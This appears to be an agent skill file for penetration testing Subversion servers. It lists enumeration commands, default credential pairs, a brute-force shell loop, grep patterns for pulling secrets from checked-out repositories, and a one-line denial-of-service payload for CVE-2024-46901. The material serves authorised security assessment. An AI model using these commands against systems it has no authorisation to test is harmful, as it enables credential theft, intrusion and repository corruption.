| name | svn-pentest |
| description | Pentest Subversion (SVN) servers on port 3690. Use this skill whenever you need to enumerate, exploit, or assess SVN repositories - whether you see port 3690 open, find svn:// or svn+ssh:// URLs, discover mod_dav_svn over HTTP(S), or need to extract credentials from version control systems. This skill covers anonymous access testing, credential brute-forcing, CVE exploitation (CVE-2024-46901, CVE-2024-45720), and secret extraction from repos. |
SVN Server Pentesting
This skill helps you assess Subversion (SVN) servers for security vulnerabilities, misconfigurations, and exposed secrets.
When to Use This Skill
- Port 3690/tcp is open (svnserve)
- You find
svn://, svn+ssh://, or http(s)://.../svn/ URLs
- You discover mod_dav_svn serving repositories over HTTP/HTTPS
- You need to enumerate version control systems for secrets, credentials, or misconfigurations
- You're assessing Subversion versions for known CVEs
Quick Start
nc -vn <target> 3690
svn ls svn://<target>
svn ls -R svn://<target>/repo
svn ls https://<target>/svn/repo --username guest --password ''
Enumeration Workflow
1. Identify Access Method
Determine how the SVN server is exposed:
| Method | URL Format | Port |
|---|
| svnserve | svn://<host> | 3690 |
| mod_dav_svn | http(s)://<host>/svn/ | 80/443 |
| svn+ssh | svn+ssh://<host> | 22 |
2. Banner Grabbing
nc -vn <target> 3690
svn --version
svnserve --version
3. Anonymous Access Testing
Try to list and checkout without credentials:
svn ls svn://<target>
svn ls -R svn://<target>/repo
svn info svn://<target>/repo
svn log svn://<target>/repo
svn checkout svn://<target>/repo
4. Extract Revision Properties
Revision properties often contain build credentials, URLs, and tokens:
svn propget --revprop -r HEAD svn:log svn://<target>/repo
svn propget --revprop -r HEAD svn:author svn://<target>/repo
svn propget --revprop -r HEAD svn:date svn://<target>/repo
5. Check for svn:externals
After checkout, check for external dependencies that may point to other hosts:
svn propget svn:externals -R .
Authentication Testing
Common Credentials to Try
admin:admin, admin:password, admin:123456
svn:svn, user:user, guest:guest
ci:ci, dev:dev, build:build
- Reuse credentials found elsewhere in the engagement
Brute-Force Script
Use the bundled script for credential spraying:
./scripts/bruteforce_svn.sh <target> <repo> <userlist> <passlist>
Or manually:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://<target>/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Secret Extraction
After successful checkout, search for sensitive data:
grep -R "password\|secret\|token\|api_key\|aws_access" -n .
grep -R "BEGIN.*PRIVATE" -n .
grep -R "mysql://\|postgres://\|mongodb://" -n .
find . -name "*.env" -o -name "*.config" -o -name "*.conf" -o -name "credentials*"
CVE Exploitation
CVE-2024-46901: mod_dav_svn DoS via Control Characters
Affects: Subversion ≤ 1.14.4 when served through HTTP(S) (mod_dav_svn)
Impact: Repository corruption, service crash
Prerequisites: Valid commit credentials
Exploitation:
printf 'pwn' > /tmp/payload
svnmucc -m "DoS" put /tmp/payload $'http://<target>/svn/repo/trunk/bad\x01path.txt'
Detection: Check Apache response headers for Subversion version:
curl -I https://<target>/svn/repo | grep -i subversion
CVE-2024-45720: Windows Argument Injection
Affects: Subversion ≤ 1.14.3 on Windows only
Impact: Arbitrary command execution via crafted paths
Attack Vector: Social engineering - trick Windows developer to run svn on attacker-controlled path
Example:
Note: This requires victim interaction - not directly exploitable remotely.
Advanced Techniques
Hook Script Analysis
If you obtain filesystem access to the repository:
ls -la hooks/
cat hooks/pre-commit
cat hooks/post-commit
Offline Repository Analysis
With filesystem access to .svn directories:
svnadmin dump /path/to/repo
svnlook author /path/to/repo
svnlook dirs-changed /path/to/repo
svnlook file -r <revision> /path/to/repo/path/to/file
Version Leaks
HTTP response headers often reveal Subversion and Apache versions:
curl -I https://<target>/svn/repo
Compare against 1.14.5 to identify vulnerable targets.
Common Misconfigurations
- Anonymous read access:
anon-access = read in svnserve.conf
- Anonymous write access:
anon-access = write (critical)
- Weak authentication: Simple password files without lockout
- Exposed hooks: Pre-commit/post-commit scripts with credentials
- Unrestricted svn+ssh: User shells allowing restricted svnserve commands
Output Format
When documenting findings, use this structure:
## SVN Assessment Results
### Target
- Host: <target>
- Port: 3690/tcp
- Access Method: svnserve/mod_dav_svn/svn+ssh
### Version
- Subversion: <version>
- Vulnerable to CVEs: <list or "None identified">
### Access Status
- Anonymous: <allowed/denied>
- Authenticated: <credentials found or "Not tested">
### Secrets Found
- <list of sensitive files/credentials discovered>
### Recommendations
- <remediation steps>
References
Scripts
This skill includes helper scripts:
scripts/enumerate_svn.sh - Automated enumeration of SVN repositories
scripts/bruteforce_svn.sh - Credential brute-forcing against SVN servers
scripts/check_svn_version.sh - Version detection and CVE matching
Run with --help for usage details.